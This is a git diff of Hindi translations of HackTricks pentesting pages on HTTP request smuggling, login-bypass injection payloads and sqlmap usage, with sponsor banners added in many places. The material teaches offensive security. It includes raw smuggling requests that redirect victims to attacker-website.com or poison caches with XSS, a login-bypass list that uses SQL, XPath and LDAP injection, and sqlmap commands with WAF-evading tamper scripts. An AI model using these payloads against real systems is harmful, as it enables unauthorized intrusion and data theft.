हालांकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डेलिमिटर तक डेटा कैप्चर करता है जो स्मगल्ड अनुरोध में उपयोग किया गया है। URL-encoded फॉर्म सबमिशन के लिए, यह डेलिमिटर `&` वर्ण है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले `&` पर रुक जाएगी, जो कि क्वेरी स्ट्रिंग का हिस्सा भी हो सकता है।
इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह दृष्टिकोण TE.CL भेद्यता के साथ भी व्यवहार्य है। ऐसे मामलों में, अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। नई लाइन वर्णों की परवाह किए बिना, मानों को खोज पैरामीटर में जोड़ा जाएगा।
@ -427,7 +435,7 @@ A=
#### HTTP/0.9
{% hint style="danger" %}
यदि उपयोगकर्ता की सामग्री एक **`Content-type`** के साथ प्रतिक्रिया में परिलक्षित होती है जैसे **`text/plain`**, तो XSS के निष्पादन को रोकता है। यदि सर्वर **HTTP/0.9 का समर्थन करता है तो इसे बायपास करना संभव हो सकता है**!
यदि उपयोगकर्ता की सामग्री एक **`Content-type`** के साथ प्रतिक्रिया में परिलक्षित होती है जैसे कि **`text/plain`**, तो XSS के निष्पादन को रोकता है। यदि सर्वर **HTTP/0.9 का समर्थन करता है तो इसे बायपास करना संभव हो सकता है**!
{% endhint %}
संस्करण HTTP/0.9 पहले 1.0 से था और केवल **GET** क्रियाओं का उपयोग करता है और **हेडर** के साथ प्रतिक्रिया नहीं करता, केवल शरीर के साथ।
@ -460,7 +468,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
यह स्मगल किया गया अनुरोध अगले संसाधित उपयोगकर्ता अनुरोध को एक हमलावर-नियंत्रित वेबसाइट पर पुनर्निर्देशित कर सकता है:
यह स्मगल्ड अनुरोध अगले संसाधित उपयोगकर्ता अनुरोध को एक हमलावर-नियंत्रित वेबसाइट पर पुनर्निर्देशित कर सकता है:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -474,15 +482,15 @@ Location: https://attacker-website.com/home/
```
इस परिदृश्य में, एक उपयोगकर्ता की JavaScript फ़ाइल के लिए अनुरोध को हाईजैक किया जाता है। हमलावर संभावित रूप से उपयोगकर्ता को दुर्भावनापूर्ण JavaScript प्रदान करके समझौता कर सकता है।
### HTTP Request Smuggling के माध्यम से वेब कैश पॉइज़निंग का शोषण <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### HTTP Request Smuggling के माध्यम से Web Cache Poisoning का शोषण <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
वेब कैश पॉइज़निंग को निष्पादित किया जा सकता है यदि **फ्रंट-एंड इन्फ्रास्ट्रक्चर के किसी भी घटक द्वारा सामग्री को कैश किया जाता है**, आमतौर पर प्रदर्शन को बढ़ाने के लिए। सर्वर की प्रतिक्रिया में हेरफेर करके, **कैश को पॉइज़न** करना संभव है।
Web cache poisoning को निष्पादित किया जा सकता है यदि **फ्रंट-एंड इन्फ्रास्ट्रक्चर के किसी भी घटक में सामग्री को कैश किया जाता है**, आमतौर पर प्रदर्शन को बढ़ाने के लिए। सर्वर की प्रतिक्रिया में हेरफेर करके, **कैश को ज़हरीला** बनाना संभव है।
पहले, हमने देखा कि सर्वर की प्रतिक्रियाओं को 404 त्रुटि लौटाने के लिए कैसे बदला जा सकता है (देखें [बुनियादी उदाहरण](./#basic-examples))। इसी तरह, सर्वर को `/static/include.js` के लिए अनुरोध के जवाब में `/index.html` सामग्री प्रदान करने के लिए धोखा देना संभव है। परिणामस्वरूप, `/static/include.js` की सामग्री को कैश में `/index.html` की सामग्री से बदल दिया जाता है, जिससे `/static/include.js` उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है, जो संभावित रूप से सेवा से इनकार (DoS) की ओर ले जा सकता है।
पहले, हमने देखा कि सर्वर की प्रतिक्रियाओं को 404 त्रुटि लौटाने के लिए कैसे बदला जा सकता है (देखें [Basic Examples](./#basic-examples))। इसी तरह, सर्वर को `/static/include.js` के लिए अनुरोध के जवाब में `/index.html` सामग्री प्रदान करने के लिए धोखा देना संभव है। परिणामस्वरूप, `/static/include.js` की सामग्री को कैश में `/index.html` की सामग्री से बदल दिया जाता है, जिससे `/static/include.js` उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है, जो संभावित रूप से Denial of Service (DoS) का कारण बन सकता है।
यह तकनीक विशेष रूप से शक्तिशाली हो जाती है यदि कोई **ओपन रीडायरेक्ट भेद्यता** खोजी जाती है या यदि **ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट** होता है। ऐसी भेद्यताओं का उपयोग `/static/include.js` की कैश की गई सामग्री को हमलावर के नियंत्रण में एक स्क्रिप्ट के साथ बदलने के लिए किया जा सकता है, जिससे सभी ग्राहकों के खिलाफ एक व्यापक क्रॉस-साइट स्क्रिप्टिंग (XSS) हमले की अनुमति मिलती है जो अपडेट की गई `/static/include.js` का अनुरोध कर रहे हैं।
यह तकनीक विशेष रूप से शक्तिशाली हो जाती है यदि कोई **Open Redirect vulnerability** खोजी जाती है या यदि **ओन-साइट रीडायरेक्ट एक ओपन रीडायरेक्ट** की ओर है। ऐसी कमजोरियों का उपयोग `/static/include.js` की कैश की गई सामग्री को हमलावर के नियंत्रण में एक स्क्रिप्ट के साथ बदलने के लिए किया जा सकता है, जिससे सभी ग्राहकों के खिलाफ एक व्यापक Cross-Site Scripting (XSS) हमले की अनुमति मिलती है जो अपडेट किए गए `/static/include.js` की मांग कर रहे हैं।
नीचे **कैश पॉइज़निंग के शोषण को ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट के साथ मिलाकर** एक चित्रण दिया गया है। उद्देश्य है `/static/include.js` की कैश सामग्री को हमलावर द्वारा नियंत्रित JavaScript कोड प्रदान करने के लिए बदलना:
नीचे **कैश ज़हरीला बनाने और ओन-साइट रीडायरेक्ट को ओपन रीडायरेक्ट के साथ मिलाकर** शोषण का एक चित्रण है। उद्देश्य है `/static/include.js` की कैश सामग्री को हमलावर द्वारा नियंत्रित JavaScript कोड प्रदान करने के लिए बदलना:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -502,7 +510,7 @@ x=1
```
नोट करें कि एम्बेडेड अनुरोध `/post/next?postId=3` को लक्षित कर रहा है। यह अनुरोध `/post?postId=4` पर पुनर्निर्देशित किया जाएगा, **Host header value** का उपयोग करके डोमेन निर्धारित करने के लिए। **Host header** को बदलकर, हमलावर अनुरोध को अपने डोमेन पर पुनर्निर्देशित कर सकता है (**on-site redirect to open redirect**).
सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** शुरू किया जाना चाहिए। यह अनुरोध पूर्व के **on-site redirect to open redirect** अनुरोध द्वारा संदूषित होगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री लाएगा।
सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** शुरू की जानी चाहिए। यह अनुरोध पूर्व के **on-site redirect to open redirect** अनुरोध द्वारा संदूषित किया जाएगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री लाएगा।
इसके बाद, `/static/include.js` के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की कैश की गई सामग्री को सेवा देगा, प्रभावी रूप से एक व्यापक XSS हमले को लॉन्च करेगा।
@ -574,7 +582,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
प्रतिक्रियाएँ उत्पन्न करेगा (ध्यान दें कि HEAD प्रतिक्रिया में एक Content-Length है जो TRACE प्रतिक्रिया को HEAD शरीर का हिस्सा बनाता है और जब HEAD Content-Length समाप्त होता है, तो एक मान्य HTTP प्रतिक्रिया चुराई जाती है):
प्रतिक्रियाएँ उत्पन्न करेगा (ध्यान दें कि HEAD प्रतिक्रिया में एक Content-Length है जो TRACE प्रतिक्रिया को HEAD शरीर का हिस्सा बनाता है और जब HEAD Content-Length समाप्त होता है, तो एक मान्य HTTP प्रतिक्रिया चुराई जाती है):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -597,7 +605,7 @@ Content-Length: 50
```
### HTTP अनुरोध स्मगलिंग को HTTP प्रतिक्रिया असंगति के साथ हथियार बनाना
क्या आपने कुछ HTTP अनुरोध स्मगलिंग कमजोरियों का पता लगाया है और आप नहीं जानते कि इसका लाभ कैसे उठाना है। इन अन्य शोषण विधियों को आजमाए:
क्या आपने कुछ HTTP अनुरोध स्मगलिंग कमजोरियों का पता लगाया है और आप नहीं जानते कि इसका लाभ कैसे उठाना है। इन अन्य शोषण विधियों को आजमाए:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
@ -725,6 +733,14 @@ table.add(req)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** हमारे 20+ कस्टम उपकरणों का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -13,10 +13,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
यह सूची **XPath, LDAP और SQL इंजेक्शन के माध्यम से लॉगिन बायपास करने के लिए पेलोड्स** (इस क्रम में) शामिल करती है।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर के दृष्टिकोण प्राप्त करें
इस सूची का उपयोग करने का तरीका है कि **पहली 200 पंक्तियों को उपयोगकर्ता नाम और पासवर्ड के रूप में डालें।** फिर, उपयोगकर्ता नाम के पहले पूर्ण सूची डालें और फिर पासवर्ड इनपुट में कुछ पासवर्ड (जैसे _Pass1234._) या कुछ ज्ञात उपयोगकर्ता नाम (जैसे _admin_) डालें।
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
यह सूची **XPath, LDAP और SQL इंजेक्शन के माध्यम से लॉगिन बायपास करने के लिए पेलोड्स** शामिल करती है (इस क्रम में)।
इस सूची का उपयोग करने का तरीका है कि **पहले 200 पंक्तियों को उपयोगकर्ता नाम और पासवर्ड के रूप में डालें।** फिर, उपयोगकर्ता नाम के पहले पूर्ण सूची डालें और फिर पासवर्ड इनपुट में कुछ पासवर्ड (जैसे _Pass1234._) या कुछ ज्ञात उपयोगकर्ता नाम (जैसे _admin_) डालें।
```
admin
password
@ -823,16 +831,25 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जो वास्तविक व्यापार प्रभाव डालती हैं।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जो वास्तविक व्यवसाय पर प्रभाव डालती हैं।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -130,7 +132,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**इस पोस्ट को पढ़ें** ](second-order-injection-sqlmap.md)**कि sqlmap के साथ सरल और जटिल दूसरे क्रम के इंजेक्शन कैसे करें।**
[**इस पोस्ट को पढ़ें** ](second-order-injection-sqlmap.md)**यहां बताया गया है कि sqlmap के साथ सरल और जटिल दूसरे क्रम के इंजेक्शन कैसे करें।**
## इंजेक्शन को अनुकूलित करना
@ -149,7 +151,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
याद रखें कि **आप अपने खुद के tamper को python में बना सकते हैं** और यह बहुत सरल है। आप [Second Order Injection पृष्ठ पर एक tamper उदाहरण यहाँ](second-order-injection-sqlmap.md) पा सकते हैं।
याद रखें कि **आप अपने खुद के tamper को python में बना सकते हैं** और यह बहुत सरल है। आप [Second Order Injection page here](second-order-injection-sqlmap.md) में एक tamper उदाहरण पा सकते हैं।
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -165,7 +167,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| chardoubleencode.py | दिए गए पेलोड में सभी चरित्रों को डबल URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
| commalesslimit.py | 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है |
| commalessmid.py | 'MID(A, B, C)' जैसे उदाहरणों को 'MID(A FROM B FOR C)' के साथ बदलता है |
| concat2concatws.py | 'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है |
| concat2concatws.py | 'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है |
| charencode.py | दिए गए पेलोड में सभी चरित्रों को URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
| charunicodeencode.py | दिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "%u0022" |
| charunicodeescape.py | दिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "\u0022" |
@ -174,38 +176,40 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| greatest.py | '>' ऑपरेटर को 'GREATEST' समकक्ष के साथ बदलता है |
| halfversionedmorekeywords.py | प्रत्येक कीवर्ड से पहले संस्करणित MySQL टिप्पणी जोड़ता है |
| ifnull2ifisnull.py | 'IFNULL(A, B)' जैसे उदाहरणों को 'IF(ISNULL(A), B, A)' के साथ बदलता है |
| modsecurityversioned.py | पूर्ण क्वेरी को संस्करणित टिप्पणी के साथ घेरता है |
| modsecurityzeroversioned.py | पूर्ण क्वेरी को शून्य-संस्करणित टिप्पणी के साथ घेरता है |
| modsecurityversioned.py | पूर्ण क्वेरी को संस्करणित टिप्पणी के साथ लपेटता है |
| modsecurityzeroversioned.py | पूर्ण क्वेरी को शून्य-संस्करणित टिप्पणी के साथ लपेटता है |
| multiplespaces.py | SQL कीवर्ड के चारों ओर कई स्पेस जोड़ता है |
| nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्ड को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्व के साथ बदलता है (जैसे .replace("SELECT", "")) फ़िल्टर |
| nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्ड को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्व के साथ बदलता है (जैसे .replace("SELECT", "")) फ़िल्टर |
| percentage.py | प्रत्येक चरित्र के सामने एक प्रतिशत चिह्न ('%') जोड़ता है |
| overlongutf8.py | दिए गए पेलोड में सभी चरित्रों को परिवर्तित करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
| randomcase.py | प्रत्येक कीवर्ड चरित्र को यादृच्छिक केस मान के साथ बदलता है |
| randomcomments.py | SQL कीवर्ड में यादृच्छिक टिप्पणियाँ जोड़ता है |
| securesphere.py | विशेष रूप से तैयार किया गया स्ट्रिंग जोड़ता है |
| sp\_password.py | पेलोड के अंत में 'sp\_password' जोड़ता है ताकि DBMS लॉग से स्वचालित रूप से छिपाया जा सके |
| sp\_password.py | पेलोड के अंत में 'sp\_password' जोड़ता है ताकि DBMS लॉग से स्वचालित रूप से छिपाया जा सके |
| space2comment.py | स्पेस चरित्र (' ') को टिप्पणियों के साथ बदलता है |
| space2dash.py | स्पेस चरित्र (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') आती है |
| space2hash.py | स्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') आती है |
| space2morehash.py | स्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') आती है |
| space2dash.py | स्पेस चरित्र (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') आती है |
| space2hash.py | स्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') आती है |
| space2morehash.py | स्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') आती है |
| space2mssqlblank.py | स्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
| space2mssqlhash.py | स्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') आती है |
| space2mysqlblank.py | स्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
| space2mysqldash.py | स्पेस चरित्र (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') आती है |
| space2plus.py | स्पेस चरित्र (' ') को प्लस ('+') के साथ बदलता है |
| space2randomblank.py | स्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
| symboliclogical.py | AND और OR तार्किक ऑपरेटरों को उनके प्रतीकात्मक समकक्ष (&& और) के साथ बदलता है |
| symboliclogical.py | AND और OR तार्किक ऑपरेटरों को उनके प्रतीकात्मक समकक्ष (&& और) के साथ बदलता है |
| unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
| unmagicquotes.py | उद्धरण चरित्र (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी (काम करने के लिए) |
| uppercase.py | प्रत्येक कीवर्ड चरित्र को अपर केस मान 'INSERT' के साथ बदलता है |
| unmagicquotes.py | उद्धरण चरित्र (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी (काम करने के लिए) |
| uppercase.py | प्रत्येक कीवर्ड चरित्र को अपर केस मान 'INSERT' के साथ बदलता है |
| varnish.py | एक HTTP हेडर 'X-originating-IP' जोड़ता है |
| versionedkeywords.py | प्रत्येक गैर-फंक्शन कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
| versionedmorekeywords.py | प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
| versionedkeywords.py | प्रत्येक गैर-कार्य कीवर्ड को संस्करणित MySQL टिप्पणी के साथ लपेटता है |
| versionedmorekeywords.py | प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ लपेटता है |
| xforwardedfor.py | एक नकली HTTP हेडर 'X-Forwarded-For' जोड़ता है |
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -218,8 +222,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें, [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करे।
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करे
</details>
{% endhint %}

View file

@ -8,14 +8,23 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
हर वेब पेंटेस्ट में **कई छिपी और स्पष्ट जगहें होती हैं जो कमजोर हो सकती हैं**। यह पोस्ट एक चेकलिस्ट के रूप में है ताकि यह पुष्टि की जा सके कि आपने सभी संभावित स्थानों पर कमजोरियों की खोज की है।
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक साक्ष्य एकत्र करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
